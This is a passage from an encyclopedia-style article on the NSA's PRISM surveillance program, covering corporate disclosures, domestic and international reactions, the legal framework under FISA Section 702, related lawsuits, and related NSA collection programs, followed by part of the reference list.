On June 14, 2013, Facebook reported that the U.S. government had authorized the communication of "about these numbers in aggregate, and as a range." In a press release posted to its web site, the company reported, "For the six months ending December 31, 2012, the total number of user-data requests Facebook received from any and all government entities in the U.S. (including local, state, and federal, and including criminal and national security-related requests) – was between 9,000 and 10,000." The company further reported that the requests impacted "between 18,000 and 19,000" user accounts, a "tiny fraction of one percent" of more than 1.1 billion active user accounts.[121]

That same day, Microsoft reported that for the same period, it received "between 6,000 and 7,000 criminal and national security warrants, subpoenas and orders affecting between 31,000 and 32,000 consumer accounts from U.S. governmental entities (including local, state and federal)" which impacted "a tiny fraction of Microsoft's global customer base."[122]

Google issued a statement criticizing the requirement that data be reported in aggregated form, stating that lumping national security requests with criminal request data would be "a step backwards" from its previous, more detailed practices on its website's transparency report. The company said that it would continue to seek government permission to publish the number and extent of FISA requests.[123]

Cisco Systems saw a huge drop in export sales because of fears that the National Security Agency could be using backdoors in its products.[124]

On September 12, 2014, Yahoo! reported the U.S. Government threatened the imposition of $250,000 in fines per day if Yahoo didn't hand over user data as part of the NSA's PRISM program.[125] It is not known if other companies were threatened or fined for not providing data in response to a legitimate FISA requests.

Public and media responseEdit

DomesticEdit

An elaborate graffito in Columbus, Ohio, United States, satirizing comprehensive surveillance of telecommunications

The New York Times editorial board charged that the Obama administration "has now lost all credibility on this issue,"[126] and lamented that "for years, members of Congress ignored evidence that domestic intelligence-gathering had grown beyond their control, and, even now, few seem disturbed to learn that every detail about the public's calling and texting habits now reside in a N.S.A. database."[127] It wrote with respect to the FISA-Court in context of PRISM that it is "a perversion of the American justice system" when "judicial secrecy is coupled with a one-sided presentation of the issues."[128] According to the New York Times, "the result is a court whose reach is expanding far beyond its original mandate and without any substantive check."[128]

James Robertson, a former federal district judge based in Washington who served on the secret Foreign Intelligence Surveillance Act court for three years between 2002 and 2005 and who ruled against the Bush administration in the landmark Hamdan v. Rumsfeld case, said FISA court is independent but flawed because only the government's side is represented effectively in its deliberations. "Anyone who has been a judge will tell you a judge needs to hear both sides of a case," said James Robertson.[129] Without this judges do not benefit from adversarial debate. He suggested creating an advocate with security clearance who would argue against government filings.[130] Robertson questioned whether the secret FISA court should provide overall legal approval for the surveillance programs, saying the court "has turned into something like an administrative agency." Under the changes brought by the Foreign Intelligence Surveillance Act of 1978 Amendments Act of 2008, which expanded the US government's authority by forcing the court to approve entire surveillance systems and not just surveillance warrants as it previously handled, "the court is now approving programmatic surveillance. I don't think that is a judicial function."[129] Robertson also said he was "frankly stunned" by the New York Times report[78] that FISA court rulings had created a new body of law broadening the ability of the NSA to use its surveillance programs to target not only terrorists but suspects in cases involving espionage, cyberattacks and weapons of mass destruction.[129]

Former CIA analyst Valerie Plame Wilson and former U.S. diplomat Joseph Wilson, writing in an op-ed article published in The Guardian, said that "Prism and other NSA data-mining programs might indeed be very effective in hunting and capturing actual terrorists, but we don't have enough information as a society to make that decision."[131]

The Electronic Frontier Foundation (EFF), an international non-profit digital-rights group based in the U.S., is hosting a tool, by which an American resident can write to their government representatives regarding their opposition to mass spying.[132]

The Obama administration's argument that NSA surveillance programs such as PRISM and Boundless Informant had been necessary to prevent acts of terrorism was challenged by several parties. Ed Pilkington and Nicholas Watt of The Guardian said of the case of Najibullah Zazi, who had planned to bomb the New York City Subway, that interviews with involved parties and U.S. and British court documents indicated that the investigation into the case had actually been initiated in response to "conventional" surveillance methods such as "old-fashioned tip-offs" of the British intelligence services, rather than to leads produced by NSA surveillance.[133] Michael Daly of The Daily Beast stated that even though Tamerlan Tsarnaev, who conducted the Boston Marathon bombing with his brother Dzhokhar Tsarnaev, had visited the Al Qaeda-affiliated Inspire magazine website, and even though Russian intelligence officials had raised concerns with U.S. intelligence officials about Tamerlan Tsarnaev, PRISM did not prevent him from carrying out the Boston attacks. Daly observed that, "The problem is not just what the National Security Agency is gathering at the risk of our privacy but what it is apparently unable to monitor at the risk of our safety."[134]

Ron Paul, a former Republican member of Congress and prominent libertarian, thanked Snowden and Greenwald and denounced the mass surveillance as unhelpful and damaging, urging instead more transparency in U.S. government actions.[135] He called Congress "derelict in giving that much power to the government," and said that had he been elected president, he would have ordered searches only when there was probable cause of a crime having been committed, which he said was not how the PRISM program was being operated.[136]

New York Times columnist Thomas L. Friedman defended limited government surveillance programs intended to protect the American people from terrorist acts:

Yes, I worry about potential government abuse of privacy from a program designed to prevent another 9/11—abuse that, so far, does not appear to have happened. But I worry even more about another 9/11. ... If there were another 9/11, I fear that 99 percent of Americans would tell their members of Congress: "Do whatever you need to do to, privacy be damned, just make sure this does not happen again." That is what I fear most. That is why I'll reluctantly, very reluctantly, trade off the government using data mining to look for suspicious patterns in phone numbers called and e-mail addresses—and then have to go to a judge to get a warrant to actually look at the content under guidelines set by Congress—to prevent a day where, out of fear, we give government a license to look at anyone, any e-mail, any phone call, anywhere, anytime.[137]

Political commentator David Brooks similarly cautioned that government data surveillance programs are a necessary evil: "if you don't have mass data sweeps, well, then these agencies are going to want to go back to the old-fashioned eavesdropping, which is a lot more intrusive."[138]

Conservative commentator Charles Krauthammer worried less about the legality of PRISM and other NSA surveillance tools than about the potential for their abuse without more stringent oversight. "The problem here is not constitutionality. ... We need a toughening of both congressional oversight and judicial review, perhaps even some independent outside scrutiny. Plus periodic legislative revision—say, reauthorization every couple of years—in light of the efficacy of the safeguards and the nature of the external threat. The object is not to abolish these vital programs. It's to fix them."[139]

In a blog post, David Simon, the creator of The Wire, compared the NSA's programs, including PRISM, to a 1980s effort by the City of Baltimore to add dialed number recorders to all pay phones to know which individuals were being called by the callers;[140] the city believed that drug traffickers were using pay phones and pagers, and a municipal judge allowed the city to place the recorders. The placement of the dialers formed the basis of the show's first season. Simon argued that the media attention regarding the NSA programs is a "faux scandal."[140][141] Simon had stated that many classes of people in American society had already faced constant government surveillance.

Political activist, and frequent critic of U.S. government policies, Noam Chomsky argued, "Governments should not have this capacity. But governments will use whatever technology is available to them to combat their primary enemy – which is their own population."[142]

A CNN/Opinion Research Corporation poll conducted June 11 through 13 found that 66% of Americans generally supported the program.[143][144][Notes 1] However, a Quinnipiac University poll conducted June 28 through July 8 found that 45% of registered voters think the surveillance programs have gone too far, with 40% saying they do not go far enough, compared to 25% saying they had gone too far and 63% saying not far enough in 2010.[145] Other polls have shown similar shifts in public opinion as revelations about the programs were leaked.[146][147]

In terms of economic impact, a study released in August by the Information Technology and Innovation Foundation[148] found that the disclosure of PRISM could cost the U.S. economy between $21.5 and $35 billion in lost cloud computing business over three years.[149][150][151][152]

InternationalEdit

Sentiment around the world was that of general displeasure upon learning the extent of world communication data mining. Some national leaders spoke against the NSA and some spoke against their own national surveillance. One national minister had scathing comments on the National Security Agency's data-mining program, citing Benjamin Franklin: "The more a society monitors, controls, and observes its citizens, the less free it is."[153] Some question if the costs of hunting terrorists now overshadows the loss of citizen privacy.[154][155]

Nick Xenophon, an Australian independent senator, asked Bob Carr, the Australian Minister of Foreign Affairs, if e-mail addresses of Australian parliamentarians were exempt from PRISM, Mainway, Marina, and/or Nucleon. After Carr replied that there was a legal framework to protect Australians but that the government would not comment on intelligence matters, Xenophon argued that this was not a specific answer to his question.[156]

Taliban spokesperson Zabiullah Mujahid said, "We knew about their past efforts to trace our system. We have used our technical resources to foil their efforts and have been able to stop them from succeeding so far."[157][158] However CNN has reported that terrorist groups have changed their "communications behaviors" in response to the leaks.[63]

In 2013 the Cloud Security Alliance surveyed cloud computing stakeholders about their reactions to the US PRISM spying scandal. About 10% of non-US residents indicated that they had cancelled a project with a US-based cloud computing provider, in the wake of PRISM; 56% said that they would be less likely to use a US-based cloud computing service. The Alliance predicted that US cloud computing providers might lose as much as €26 billion and 20% of its share of cloud services in foreign markets because of the PRISM spying scandal.[159]

ChinaEdit

Hong Kong rally to support Snowden, June 15, 2013

Reactions of internet users in China were mixed between viewing a loss of freedom worldwide and seeing state surveillance coming out of secrecy. The story broke just before U.S. President Barack Obama and Chinese President Xi Jinping met in California.[160][161] When asked about NSA hacking China, the spokeswoman of Ministry of Foreign Affairs of the People's Republic of China said, "China strongly advocates cybersecurity."[162] The party-owned newspaper Liberation Daily described this surveillance like Nineteen Eighty-Four-style.[163] Hong Kong legislators Gary Fan and Claudia Mo wrote a letter to Obama stating, "the revelations of blanket surveillance of global communications by the world's leading democracy have damaged the image of the U.S. among freedom-loving peoples around the world."[164] Ai Weiwei, a Chinese dissident, said, "Even though we know governments do all kinds of things I was shocked by the information about the US surveillance operation, Prism. To me, it's abusively using government powers to interfere in individuals' privacy. This is an important moment for international society to reconsider and protect individual rights."[165]

EuropeEdit

Sophie in 't Veld, a Dutch Member of the European Parliament, called PRISM "a violation of EU laws."[166]

Digital rights group Digitale Gesellschaft protest at Checkpoint Charlie in Berlin, Germany (June 18, 2013)

Protesters against PRISM in Berlin, Germany wearing Chelsea Manning and Edward Snowden masks (June 19, 2013)

The German Federal Commissioner for Data Protection and Freedom of Information, Peter Schaar, condemned the program as "monstrous."[167] He further added that White House claims do "not reassure me at all" and that "given the large number of German users of Google, Facebook, Apple or Microsoft services, I expect the German government ... is committed to clarification and limitation of surveillance." Steffen Seibert, press secretary of the Chancellor's office, announced that Angela Merkel will put these issues on the agenda of the talks with Barack Obama during his pending visit in Berlin.[168] Wolfgang Schmidt, a former lieutenant colonel with the Stasi, said that the Stasi would have seen such a program as a "dream come true" since the Stasi lacked the technology that made PRISM possible.[169] Schmidt expressed opposition, saying, "It is the height of naivete to think that once collected this information won't be used. This is the nature of secret government organizations. The only way to protect the people's privacy is not to allow the government to collect their information in the first place."[98] Many Germans organized protests, including one at Checkpoint Charlie, when Obama went to Berlin to speak. Matthew Schofield of the McClatchy Washington Bureau said, "Germans are dismayed at Obama's role in allowing the collection of so much information."[98]

The Italian president of the Guarantor for the protection of personal data, Antonello Soro, said that the surveillance dragnet "would not be legal in Italy" and would be "contrary to the principles of our legislation and would represent a very serious violation."[170]

CNIL (French data protection watchdog) intimates Google to change its privacy policies within three months or it'll risk fines up to 150,000 euros. Spanish Agency of data protection (AEPD) is planning to fine Google between 40k and 300k euros, if it fails to clear about the past usage of the massive data of the Spanish users.[171]

William Hague, the foreign secretary of the United Kingdom, dismissed accusations that British security agencies had been circumventing British law by using information gathered on British citizens by PRISM[172] saying, "Any data obtained by us from the United States involving UK nationals is subject to proper UK statutory controls and safeguards."[172] David Cameron said Britain's spy agencies that received data collected from PRISM acted within the law: "I'm satisfied that we have intelligence agencies that do a fantastically important job for this country to keep us safe, and they operate within the law."[172][173] Malcolm Rifkind, the chairman of parliament's Intelligence and Security Committee, said that if the British intelligence agencies were seeking to know the content of emails about people living in the UK, then they actually have to get lawful authority.[173] The UK's Information Commissioner's Office was more cautious, saying it would investigate PRISM alongside other European data agencies: "There are real issues about the extent to which U.S. law agencies can access personal data of UK and other European citizens. Aspects of U.S. law under which companies can be compelled to provide information to U.S. agencies potentially conflict with European data protection law, including the UK's own Data Protection Act. The ICO has raised this with its European counterparts, and the issue is being considered by the European Commission, who are in discussions with the U.S. Government."[166]

Tim Berners-Lee, the inventor of the World Wide Web, accused western governments of practicing hypocrisy,[174] as they conducted spying on the internet while they criticized other countries for spying on the internet.[175] Berners-Lee stated that internet spying can make people feel reluctant to access intimate details or use the internet in a certain way, and as paraphrased by Steve Robson of the Daily Mail, he said that the internet "should be protected from being controlled by governments or large corporations."[174]

IndiaEdit

Minister of External Affairs Salman Khurshid defended the PRISM program saying, "This is not scrutiny and access to actual messages. It is only computer analysis of patterns of calls and emails that are being sent. It is not actually snooping specifically on content of anybody's message or conversation. Some of the information they got out of their scrutiny, they were able to use it to prevent serious terrorist attacks in several countries."[176] His comments contradicted his Foreign Ministry's characterization of violations of privacy as "unacceptable."[177][178] When the then Minister of Communications and Information Technology Kapil Sibal was asked about Khurshid's comments, he refused to comment on them directly, but said, "We do not know the nature of data or information sought [as part of PRISM]. Even the external ministry does not have any idea."[179] The media felt that Khurshid's defence of PRISM was because the India government was rolling out the Central Monitoring System (CMS), which is similar to the PRISM program.[180][181][182]

Khurshid's comments were criticized by the Indian media,[183][184] as well as opposition party CPI(M) who stated, "The UPA government should have strongly protested against such surveillance and bugging. Instead, it is shocking that Khurshid has sought to justify it. This shameful remark has come at a time when even the close allies of the US like Germany and France have protested against the snooping on their countries."[185]

Rajya Sabha MP P. Rajeev told The Times of India that "The act of the USA is a clear violation of Vienna convention on diplomatic relations. But Khurshid is trying to justify it. And the speed of the government of India to reject the asylum application of Edward Snowden is shameful."[186]

Legal aspectsEdit

Applicable law and practiceEdit

On June 8, 2013, the Director of National Intelligence issued a fact sheet stating that PRISM "is not an undisclosed collection or data mining program," but rather "an internal government computer system" used to facilitate the collection of foreign intelligence information "under court supervision, as authorized by Section 702 of the Foreign Intelligence Surveillance Act (FISA) (50 U.S.C. § 1881a)."[53] Section 702 provides that "the Attorney General and the Director of National Intelligence may authorize jointly, for a period of up to 1 year from the effective date of the authorization, the targeting of persons reasonably believed to be located outside the United States to acquire foreign intelligence information."[187] In order to authorize the targeting, the attorney general and Director of National Intelligence need to obtain an order from the Foreign Intelligence Surveillance Court (FISA Court) pursuant to Section 702 or certify that "intelligence important to the national security of the United States may be lost or not timely acquired and time does not permit the issuance of an order."[187] When requesting an order, the attorney general and Director of National Intelligence must certify to the FISA Court that "a significant purpose of the acquisition is to obtain foreign intelligence information."[187] They do not need to specify which facilities or property will be targeted.[187]

After receiving a FISA Court order or determining that there are emergency circumstances, the attorney general and Director of National Intelligence can direct an electronic communication service provider to give them access to information or facilities to carry out the targeting and keep the targeting secret.[187] The provider then has the option to: (1) comply with the directive; (2) reject it; or (3) challenge it with the FISA Court. If the provider complies with the directive, it is released from liability to its users for providing the information and is reimbursed for the cost of providing it,[187] while if the provider rejects the directive, the attorney general may request an order from the FISA Court to enforce it.[187] A provider that fails to comply with the FISA Court's order can be punished with contempt of court.[187]

Finally, a provider can petition the FISA Court to reject the directive.[187] In case the FISA Court denies the petition and orders the provider to comply with the directive, the provider risks contempt of court if it refuses to comply with the FISA Court's order.[187] The provider can appeal the FISA Court's denial to the Foreign Intelligence Surveillance Court of Review and then appeal the Court of Review's decision to the Supreme Court by a writ of certiorari for review under seal.[187]

The Senate Select Committee on Intelligence and the FISA Courts had been put in place to oversee intelligence operations in the period after the death of J. Edgar Hoover. Beverly Gage of Slate said, "When they were created, these new mechanisms were supposed to stop the kinds of abuses that men like Hoover had engineered. Instead, it now looks as if they have come to function as rubber stamps for the expansive ambitions of the intelligence community. J. Edgar Hoover no longer rules Washington, but it turns out we didn't need him anyway."[188]

LitigationEdit

| June 11, 2013 | American Civil Liberties Union | Lawsuit filed against the NSA citing that the "Mass Call Tracking Program" (as the case terms PRISM) "violates Americans' constitutional rights of free speech, association, and privacy" and constitutes "dragnet" surveillance, in violation of the First and Fourth Amendments to the Constitution, and thereby also "exceeds the authority granted by 50 U.S.C. § 1861, and thereby violates 5 U.S.C. § 706."[189] The case was joined by Yale Law School, on behalf of its Media Freedom and Information Access Clinic.[190] |
| June 11, 2013 | FreedomWatch USA | Class action lawsuit against government bodies and officials believed responsible for PRISM, and 12 companies (including Apple, Microsoft, Google, Facebook, and Skype and their chief executives) who have been disclosed as providing or making available mass information about their users' communications and data to the NSA under the PRISM program or related programs. The case cites the First, Fourth, and Fifth Amendments to the Constitution, as well as breach of 18 U.S.C. §§2702 (disclosure of communications records), and asks the court to rule that the program operates outside its legal authority (s.215 of the Patriot Act). The class includes the plaintiffs and[191]

"other American citizens who, in addition to being members of the Nationwide Class, had their telephone calls and/or emails and/or any other communications made or received through Facebook, Google, Yahoo, YouTube, Skype, AOL, Sprint, AT&T, Apple, Microsoft and/or PalTalk actually recorded and/or listened into by or on behalf of [the] Defendants."

In November 2017, the district court dismissed the case.

|
| February 18, 2014 | Rand Paul and Freedom Works, Inc. | Lawsuit filed against President Barack Obama, James R. Clapper, as Director of National Intelligence, Keith B. Alexander, as director of the NSA, James B. Comey, as director of the FBI, in the United States District Court for the District of Columbia. The case contends that the Defendants are violating the Fourth Amendment of the United States by collecting phone metadata. The case is currently stayed pending the outcome of the government's appeal in the Klayman case. |
| June 2, 2014 | Elliott J. Schuchardt | Lawsuit filed against President Barack Obama, James R. Clapper, as Director of National Intelligence, Admiral Michael R. Rogers, as director of the NSA, James B. Comey, as director of the FBI, in the United States District Court for the Western District of Pennsylvania. The case contends that the Defendants are violating the Fourth Amendment of the United States by collecting the full content of e-mail in the United States. The complaint asks the Court to find the Defendants' program unconstitutional, and seeks an injunction. The court is currently considering the government's motion to dismiss this case. |

Analysis of legal issuesEdit

Laura Donohue, a law professor at the Georgetown University Law Center and its Center on National Security and the Law, has called PRISM and other NSA mass surveillance programs unconstitutional.[192]

Woodrow Hartzog, an affiliate at Stanford Law School's Center for Internet and Society commented that "[The ACLU will] likely have to demonstrate legitimate First Amendment harms (such as chilling effects) or Fourth Amendment harms (perhaps a violation of a reasonable expectation of privacy) ... Is it a harm to merely know with certainty that you are being monitored by the government? There's certainly an argument that it is. People under surveillance act differently, experience a loss of autonomy, are less likely to engage in self exploration and reflection, and are less willing to engage in core expressive political activities such as dissenting speech and government criticism. Such interests are what First and Fourth Amendment seek to protect."[193]

Legality of the FISA Amendments ActEdit

The FISA Amendments Act (FAA) Section 702 is referenced in PRISM documents detailing the electronic interception, capture and analysis of metadata. Many reports and letters of concern written by members of Congress suggest that this section of FAA in particular is legally and constitutionally problematic, such as by targeting U.S. persons, insofar as "Collections occur in U.S." as published documents indicate.[194][195][196][197]

The ACLU has asserted the following regarding the FAA: "Regardless of abuses, the problem with the FAA is more fundamental: the statute itself is unconstitutional."[198]

Senator Rand Paul is introducing new legislation called the Fourth Amendment Restoration Act of 2013 to stop the NSA or other agencies of the United States government from violating the Fourth Amendment to the U.S. Constitution using technology and big data information systems like PRISM and Boundless Informant.[199][200]

Programs sharing the name PRISMEdit

Besides the information collection program started in 2007, there are two other programs sharing the name PRISM:[201]

  • The Planning tool for Resource Integration, Synchronization and Management (PRISM), a web tool used by US military intelligence to send tasks and instructions to data collection platforms deployed to military operations.[202]
  • The Portal for Real-time Information Sharing and Management (PRISM), whose existence was revealed by the NSA in July 2013.[201] This is an internal NSA program for real-time sharing of information which is apparently located in the NSA's Information Assurance Directorate.[201] The NSA's Information Assurance Directorate (IAD) is a very secretive division which is responsible for safeguarding U.S. government and military secrets by implementing sophisticated encryption techniques.[201]

Related NSA programsEdit

Main article: List of government mass surveillance projects

Parallel programs, known collectively as SIGADs gather data and metadata from other sources, each SIGAD has a set of defined sources, targets, types of data collected, legal authorities, and software associated with it. Some SIGADs have the same name as the umbrella under which they sit, BLARNEY's (the SIGAD) summary, set down in the slides alongside a cartoon insignia of a shamrock and a leprechaun hat, describes it as "an ongoing collection program that leverages IC [intelligence community] and commercial partnerships to gain access and exploit foreign intelligence obtained from global networks."

Some SIGADs, like PRISM, collect data at the ISP level, but others take it from the top-level infrastructure. This type of collection is known as "upstream". Upstream collection includes programs known by the blanket terms BLARNEY, FAIRVIEW, OAKSTAR and STORMBREW, under each of these are individual SIGADs. Data that is integrated into a SIGAD can be gathered in other ways besides upstream, and from the service providers, for instance it can be collected from passive sensors around embassies, or even stolen from an individual computer network in a hacking attack.[203][204][205][206][207] Not all SIGADs involve upstream collection, for instance, data could be taken directly from a service provider, either by agreement (as is the case with PRISM), by means of hacking, or other ways.[208][209][210]

Idea behind the MUSCULAR program, which gave direct access to Google and Yahoo private clouds, no warrants needed

According to the Washington Post, the much less known MUSCULAR program, which directly taps the unencrypted data inside the Google and Yahoo private clouds, collects more than twice as many data points compared to PRISM.[211] Because the Google and Yahoo clouds span the globe, and because the tap was done outside of the United States, unlike PRISM, the MUSCULAR program requires no (FISA or other type of) warrants.[212]

See alsoEdit

NotesEdit

  1. ^ The precise question was: [F]or the past few years the Obama administration has reportedly been gathering and analyzing information from major internet companies about audio and video chats, photographs, e-mails, and documents involving people in other countries in an attempt to locate suspected terrorists. The government reportedly does not target internet usage by US citizens and if such data is collected, it is kept under strict controls. Do you think the Obama administration was right or wrong in gathering and analyzing that internet data?

ReferencesEdit

  1. ^ a b c d e f g h i Gellman, Barton; Poitras, Laura (June 6, 2013). "US Intelligence Mining Data from Nine U.S. Internet Companies in Broad Secret Program". The Washington Post. Retrieved June 15, 2013.
  2. ^ a b c d e f g h Greenwald, Glenn; MacAskill, Ewen (June 6, 2013). "NSA Taps in to Internet Giants' Systems to Mine User Data, Secret Files Reveal – Top-Secret Prism Program Claims Direct Access to Servers of Firms Including Google, Apple and Facebook – Companies Deny Any Knowledge of Program in Operation Since 2007 – Obama Orders US to Draw Up Overseas Target List for Cyber-Attacks". The Guardian. Retrieved June 15, 2013.
  3. ^ Braun, Stephen; Flaherty, Anne; Gillum, Jack; Apuzzo, Matt (June 15, 2013). "Secret to PRISM Program: Even Bigger Data Seizures". Associated Press. Retrieved June 18, 2013.
  4. ^ Chappell, Bill (June 6, 2013). "NSA Reportedly Mines Servers of US Internet Firms for Data". The Two-Way (blog of NPR). Retrieved June 15, 2013. Italic or bold markup not allowed in: |publisher= (help)
  5. ^ ZDNet Community; Whittaker, Zack (June 8, 2013). "PRISM: Here's How the NSA Wiretapped the Internet". ZDNet. CBS Interactive. Retrieved June 15, 2013.
  6. ^ Barton Gellman & Ashkan Soltani (October 30, 2013). "NSA infiltrates links to Yahoo, Google data centers worldwide, Snowden documents say". The Washington Post. Retrieved October 31, 2013.
  7. ^ Siobhan Gorman & Jennifer Valentiono-Devries (August 20, 2013). "New Details Show Broader NSA Surveillance Reach - Programs Cover 75% of Nation's Traffic, Can Snare Emails". The Wall Street Journal. Retrieved August 21, 2013.
  8. ^ "Graphic: How the NSA Scours Internet Traffic in the U.S." The Wall Street Journal. August 20, 2013. Retrieved August 21, 2013.
  9. ^ Jennifer Valentiono-Devries & Siobhan Gorman (August 20, 2013). "What You Need to Know on New Details of NSA Spying". The Wall Street Journal. Retrieved August 21, 2013.
  10. ^ Lee, Timothy B. (June 6, 2013). "How Congress Unknowingly Legalized PRISM in 2007". Wonkblog (blog of The Washington Post). Retrieved July 4, 2013.
  11. ^ Johnson, Luke (July 1, 2013). "George W. Bush Defends PRISM: 'I Put That Program in Place to Protect the Country'". The Huffington Post. Retrieved July 4, 2013.
  12. ^ Office of the Director of National Intelligence (June 8, 2013). "Facts on the Collection of Intelligence Pursuant to Section 702 of the Foreign Intelligence Surveillance Act" (PDF). dni.gov.
  13. ^ a b c d Mezzofiore, Gianluca (June 17, 2013). "NSA Whistleblower Edward Snowden: Washington Snoopers Are Criminals". International Business Times. Retrieved June 30, 2013.
  14. ^ MacAskill, Ewan (August 23, 2013). "NSA paid millions to cover Prism compliance costs for tech companies". Retrieved August 27, 2013.
  15. ^ a b c d Staff (June 6, 2013). "NSA Slides Explain the PRISM Data-Collection Program". The Washington Post. Retrieved June 15, 2013.
  16. ^ John D Bates (October 3, 2011). "[redacted]" (PDF). p. 71.
  17. ^ a b c Savage, Charlie; Wyatt, Edward; Baker, Peter (June 6, 2013). "U.S. Says It Gathers Online Data Abroad". The New York Times. Retrieved June 6, 2013.
  18. ^ Greenwald, Glenn (June 5, 2013). "NSA Collecting Phone Records of Millions of Verizon Customers Daily – Top Secret Court Order Requiring Verizon to Hand Over All Call Data Shows Scale of Domestic Surveillance under Obama". The Guardian. Retrieved June 15, 2013.
  19. ^ Staff (June 6, 2013). "Intelligence Chief Blasts NSA Leaks, Declassifies Some Details about Phone Program Limits". Associated Press (via The Washington Post). Retrieved June 15, 2013. Italic or bold markup not allowed in: |publisher= (help)
  20. ^ Ovide, Shira (June 8, 2013). "U.S. Official Releases Details of Prism Program". The Wall Street Journal. Retrieved June 15, 2013.
  21. ^ Madison, Lucy (June 19, 2013). "Obama Defends 'Narrow' Surveillance Programs". CBS News. Retrieved June 30, 2013.
  22. ^ Johnson, Kevin; Martin, Scott; O'Donnell, Jayne; Winter, Michael (June 15, 2013). "Reports: NSA Siphons Data from 9 Major Net Firms". USA Today. Retrieved June 6, 2013.
  23. ^ MacAskill, Ewen; Borger, Julian; Hopkins, Nick; Davies, Nick; Ball, James (June 21, 2013). "GCHQ Taps Fibre-Optic Cables for Secret Access to World's Communications – Exclusive: British Spy Agency Collects and Stores Vast Quantities of Global Email Messages, Facebook Posts, Internet Histories and Calls, and Shares Them with NSA, Latest Documents from Edward Snowden Reveal". The Guardian. Retrieved June 30, 2013.
  24. ^ Staff (June 22, 2013). "GCHQ Data-Tapping Claims Nightmarish, Says German Justice Minister". BBC News. Retrieved June 30, 2013.
  25. ^ Clayton, Mark (June 22, 2013). ""When in Doubt, NSA Searches Information on Americans – According to Newly Revealed Secret Documents, the NSA Retains Wide Discretion over Targeting Individuals for Surveillance – Including, Potentially, Americans – Civil Libertarians Say 'It Confirms Our Worst Fears'"". Archived from the original on June 26, 2013. Retrieved June 25, 2013. Cite uses deprecated parameter |deadurl= (help)CS1 maint: BOT: original-url status unknown (link). The Christian Science Monitor (via Yahoo! News). Retrieved June 30, 2013.
  26. ^ Staff (June 20, 2013). "Procedures Used by NSA to Target Non-US Persons: Exhibit A – Full Document – Top-Secret Documents Show FISA Judges Have Signed Off on Broad Orders Allowing the NSA to Make Use of Information 'Inadvertently' Collected from Domestic US Communications Without a Warrant". The Guardian. Retrieved June 29, 2013.
  27. ^ Bump, Philip (June 20, 2013). "The NSA Guidelines for Spying on You Are Looser Than You've Been Told". The Atlantic Wire. Retrieved June 29, 2013.
  28. ^ "Espionnage de la NSA : tous les documents publiés par "Le Monde"". Le Monde. October 21, 2013. Retrieved October 22, 2013.
  29. ^ "NSA Prism program slides". The Guardian. November 1, 2013. Retrieved March 19, 2014.
  30. ^ a b Gates, David Edgerley (June 26, 2013). "Through a Glass, Darkly". Spying. Santa Fe: SleuthSayers. Retrieved January 4, 2014.
  31. ^ a b Lundin, Leigh (July 7, 2013). "Pam, Prism, and Poindexter". Spying. Washington: SleuthSayers. Retrieved January 4, 2014.
  32. ^ Dean, John W. (December 30, 2005). "George W. Bush as the New Richard M. Nixon: Both Wiretapped Illegally, and Impeachable; Both Claimed That a President May Violate Congress' Laws to Protect National Security". FindLaw. Retrieved June 12, 2013.
  33. ^ Holtzman, Elizabeth (January 11, 2006). "The Impeachment of George W. Bush". The Nation. Retrieved June 12, 2013.
  34. ^ "Adopted by the House of Delegates" (PDF). American Bar Association. February 13, 2006.
  35. ^ Staff (February 14, 2006). "Lawyers Group Criticizes Surveillance Program". The Washington Post. Retrieved June 15, 2013.
  36. ^ a b McAllister, Neil (December 29, 2012). "Senate Votes to Continue FISA Domestic Spying Through 2017 – All Proposed Privacy Amendments Rejected". The Register. Retrieved June 15, 2013.
  37. ^ "H.R. 5949 (112th Congress): FISA Amendments Act Reauthorization Act of 2012".
  38. ^ a b c d Privacy and Civil Liberties Oversight Board, "Report on the Surveillance Program Operated Pursuant to Section 702 of the Foreign Intelligence Surveillance Act" (PDF). pclob.gov. July 2, 2014.
  39. ^ "FBI, CIA Use Backdoor Searches To Warrentlessly Spy On Americans' Communications". TechDirt. June 30, 2014.
  40. ^ "NSA slides explain the PRISM data-collection program". July 10, 2013. An annotated presentation of the NSA PRISM program as published by the Washington Post on 6 June 2013 and updated on 10 July 2013
  41. ^ Glenn Greenwald, Ewen MacAskill, Laura Poitras, Spencer Ackerman and Dominic Rushe (July 11, 2013). "Revealed: how Microsoft handed the NSA access to encrypted messages". The Guardian. Retrieved July 11, 2013.CS1 maint: multiple names: authors list (link)
  42. ^ "Microsoft helped the NSA bypass encryption, new Snowden leak reveals". Russia Today. July 11, 2013. Retrieved July 12, 2013.
  43. ^ "The NSA Files". The Guardian. June 8, 2013.
  44. ^ a b Rea, Kari (July 28, 2013). "Glenn Greenwald: Low-Level NSA Analysts Have 'Powerful and Invasive' Search Tool". ABC News. Retrieved July 30, 2013.
  45. ^ Glenn Greenwald (July 31, 2013). "Revealed: NSA program collects 'nearly everything a user does on the internet'". Theguardian.com. Retrieved January 27, 2014.
  46. ^ File:Prism-week-in-life-straight.png
  47. ^ a b c "DNI Statement on Activities Authorized Under Section 702 of FISA". Director of National Intelligence. June 6, 2013. Archived from the original on June 7, 2013. Retrieved Junhp/newsroom/press-releases/191-press-releases-2013/869-dni-statement-on-activities-authorized-under-section-702-of-fisa. Cite uses deprecated parameter |dead-url= (help); Check date values in: |accessdate= (help)
  48. ^ Greenberg, Andy (June 6, 2013). "Top U.S. Intelligence Officials Repeatedly Deny NSA Spying on Americans". Forbes. Retrieved June 7, 2013.
  49. ^ Shane, Scott; Sanger, David E. (June 30, 2013). "Job Title Key to Inner Access Held by Snowden". The New York Times. Retrieved June 30, 2013.
  50. ^ "TRANSCRIPT OF ANDREA MITCHELL'S INTERVIEW WITH DIRECTOR OF NATIONAL INTELLIGENCE JAMES CLAPPER". NBC News. June 9, 2013. Archived from the original on September 8, 2015. Cite uses deprecated parameter |deadurl= (help)
  51. ^ a b Savage, Charlie; Wyatt, Edward; Baker, Peter; Shear, Michael D. (June 7, 2013). "Obama Calls Surveillance Programs Legal and Limited". The New York Times. Retrieved June 7, 2013.
  52. ^ Weisman, Jonathan; Sanger, David (June 8, 2013). "White House Plays Down Data Program". The New York Times. Retrieved June 8, 2013.
  53. ^ a b c d "Facts on the Collection of Intelligence Pursuant to Section 702 of the Foreign Intelligence Surveillance Act". Director of National Intelligence. June 8, 2013. Archived from the original on June 11, 2013. Retrieved June 8, 2013. Cite uses deprecated parameter |deadurl= (help)
  54. ^ "DNI Statement on the Collection of Intelligence Pursuant to Section 702 of the Foreign Intelligence Surveillance Act". Director of National Intelligence. June 8, 2013. Archived from the original on June 11, 2013. Retrieved June 8, 2013. Cite uses deprecated parameter |deadurl= (help)
